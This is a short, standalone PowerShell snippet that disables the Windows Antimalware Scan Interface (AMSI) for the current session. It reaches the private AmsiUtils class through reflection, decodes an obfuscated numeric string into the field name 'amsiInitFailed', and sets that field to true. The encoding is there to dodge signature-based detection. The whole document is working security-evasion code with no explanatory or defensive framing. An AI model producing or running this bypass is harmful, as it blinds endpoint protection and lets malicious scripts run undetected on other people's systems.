$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)